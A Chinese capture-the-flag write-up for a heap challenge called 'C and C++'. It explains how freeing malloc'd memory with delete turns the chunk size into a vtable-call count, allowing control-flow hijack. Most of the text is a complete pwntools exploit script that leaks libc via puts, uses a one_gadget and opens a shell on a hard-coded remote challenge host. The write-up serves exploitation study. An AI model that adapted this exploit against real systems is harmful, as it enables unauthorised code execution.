-
-
[原创]第九题 C与C++
-
2019-3-23 03:09 2861
-
c_and_cpp
程序分析
程序逻辑比较简单,可以申请和释放内存,并且实现了c和cpp的两种内存分配方法,如下:
malloc –> free
new –> delete
分析c和cpp的实现存储方式可以发现,存储字符串时,是按照16字节进行划分的,每一段进行存储。如下:
cpp:
其中heap pos是每一个堆内存块的位置,mem pos是申请内存时返回的位置,pointer是程序中存储数据用到的位置。
在释放内存时,如果调用free,直接释放内存即可,如下:
如果调用delete,会将指针往前移8个字节,然后获取str块的count,然后将其所有块中的虚表中的release函数调用一次,如下:
漏洞点
通过malloc申请的内存,通过delete来释放,会按照delete的规则来进行,从而实现了c和cpp的混用,把c中的堆块size当成cpp的块数,从而依次执行其中虚表的release函数,从而实现了函数控制流劫持。
利用方式
在设置name来可以布置虚表,写入两个函数,在release的时候,实现调用,由于泄露和布置虚表至少需要两次输入,应该可以在布置虚表的时候把main函数放在第二个虚表的位置,从而实现多次利用漏洞,从而实现多次利用。
Name的内容设置为:
p64(main_func)+ p64(target_func)
虚表vtable有多个,从后往前执行,其内容设置为:
Vtable(n-1): p64(name_addr)
Vtable(n): p64(name_addr+8)
这样,调用虚表函数,依次执行的函数就为:target_func,main_func
其中,泄露libc地址的函数如下:
通过puts的地址可以得到libc基址,从而计算出one_gadget地址,拿到shell,具体见利用代码。
利用代码
from pwn import * def show_debug_info(flag = True): global show_info_sign if flag == True: #context.log_level = 'DEBUG' show_info_sign = True else: #context.log_level = 'info' show_info_sign = False def d2v_x64(data): return u64(data[:8].ljust(8, '\x00')) def d2v_x32(data): return u32(data[:4].ljust(4, '\x00')) def expect_data(io_or_data, b_str = None, e_str = None): if type(io_or_data) != str: t_io = io_or_data if b_str != None and b_str != "": recvuntil(t_io, b_str) data = recvuntil(t_io, e_str)[:-len(e_str)] else: if b_str == None or b_str == "": b_pos = 0 else: t_data = io_or_data b_pos = t_data.find(b_str) if b_pos == -1: return "" b_pos += len(b_str) if e_str == None or e_str == "": data = t_data[b_pos:] else: e_pos = t_data.find(e_str, b_pos) if e_pos == -1: return "" data = t_data[b_pos:e_pos] return data import sys def show_echo(data): global show_info_sign if show_info_sign: sys.stdout.write(data) def recv(io, size): data = io.recv(size) show_echo(data) return data def recvuntil(io, info): data = io.recvuntil(info) show_echo(data) return data def send(io, data): io.send(data) show_echo(data) def sendline(io, data): send(io, data + "\n") def rd_wr_str(io, info, buff): #io.recvuntil(info, timeout = 2) #io.send(buff) data = recvuntil(io, info) send(io, buff) return data def rd_wr_int(io, info, val): return rd_wr_str(io, info, str(val) + "\n") def r_w(io, info, data): if type(data) == int: return rd_wr_int(io, info, data) else: return rd_wr_str(io, info, data) def set_context(): binary_elf = ELF(binary_path) context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian) import commands def do_command(cmd_line): (status, output) = commands.getstatusoutput(cmd_line) return output global_pid_int = -1 def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript = ""): if is_local: set_pid(io) if is_pie == True: if code_base == 0: set_pid(io) data = do_command("cat /proc/%d/maps"%global_pid_int) code_base = int(data.split("\n")[0].split("-")[0], 16) #gdbscript = "" for item in break_list: gdbscript += "b *0x%x\n"%(item + code_base) gdbscript += "c\n" gdb.attach(global_pid_int, gdbscript = gdbscript) def set_pid(io): global global_pid_int if global_pid_int == -1: if is_local: """ data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1] #print "-"*0x10 #print repr(data) items = data.split(" ")[1:] global_pid_int = 0 i = 0 while len(items[i]) == 0: i += 1 global_pid_int = int(items[i]) #""" global_pid_int = pidof(io)[0] def gdb_hint(io, info = ""): if info != "": print info if is_local: set_pid(io) raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int) if info != "": print "pass", info def gdb_hint(io, info = ""): if info != "": print info if is_local: raw_input("----attach pidof '%d', press enter to continue......----"%pidof(io)[0]) if info != "": print "pass", info def get_io(target): if is_local: io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path}) #io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path}) else: io = remote(target[0], target[1]) return io def r_w(io, info, data): if type(data) == int: rd_wr_int(io, info, data) else: rd_wr_str(io, info, data) def m_c(io, choice, prompt = ">> "): r_w(io, prompt, choice) def set_item(io, choice, prompt = ["?\n"]): r_w(io, prompt, choice) def malloc(io, size, data_list): m_c(io, 1) r_w(io, "string\n", size) recvuntil(io, "string\n") for item in data_list: send(io, item) def free(io, idx): m_c(io, 2) r_w(io, "string\n", idx) def new(io, size, data_list): m_c(io, 3) r_w(io, "string\n", size) recvuntil(io, "string\n") for item in data_list: send(io, item) def delete(io, idx): m_c(io, 4) r_w(io, "string\n", idx) def pwn(io): #offset info if is_local: #local offset_system = 0x0 offset_binsh = 0x0 else: #remote offset_system = 0x0 offset_binsh = 0x0 leak_func = 0x400E10 read_buff = 0x400d00 name_addr = 0x602328 main_addr = 0x4009A0 #io.interactive() name = "" name += p64(main_addr) name += p64(leak_func) r_w(io, ": ", name[:-1]) payload = [] payload.append("111\n") malloc(io, 1, payload) payload = [] payload.append("222\n") malloc(io, 5*0x10, payload) payload = [] payload.append("333\n") malloc(io, 20*0x10, payload) payload = [] payload.append(p64(name_addr) + '4'*7) payload.append(p64(name_addr+8) + '-'*7) payload.append("4444\n") malloc(io, 3*0x10, payload) #gdb_attach(io, [0x400DB8]) delete(io, 0) data = recvuntil(io, "\n") puts_addr = int(data, 16) print hex(puts_addr) libc_addr = puts_addr - 0x6f690 name = "" name += p64(main_addr) name += p64(libc_addr + 0xf02a4) r_w(io, ": ", name[:-1]) payload = [] payload.append("111\n") malloc(io, 1, payload) payload = [] payload.append("222\n") malloc(io, 5*0x10, payload) payload = [] payload.append("333\n") malloc(io, 20*0x10, payload) payload = [] payload.append(p64(name_addr) + '4'*7) payload.append(p64(name_addr+8) + '-'*7) payload.append("4444\n") malloc(io, 3*0x10, payload) #gdb_attach(io, [0x400DD2]) delete(io, 0) #data = recvuntil(io, "\n") #puts_addr = int(data, 16) #print hex(puts_addr) io.interactive() #io.recvuntil() #payload = "" #io.sendline(payload) #io.interactive() #print proc. pass is_local = True is_local = False binary_path = "./candcpp" libc_file_path = "" libc_file_path = "libc-2.23.so" ip, port = "", 0 items = "154.8.222.144 9999".split(" ") ip = items[0] port = int(items[1]) show_info_sign = True if is_local: # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] show_debug_info(True) target = binary_path else: show_debug_info(False) target = (ip, port) io = get_io(target) pwn(io)
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法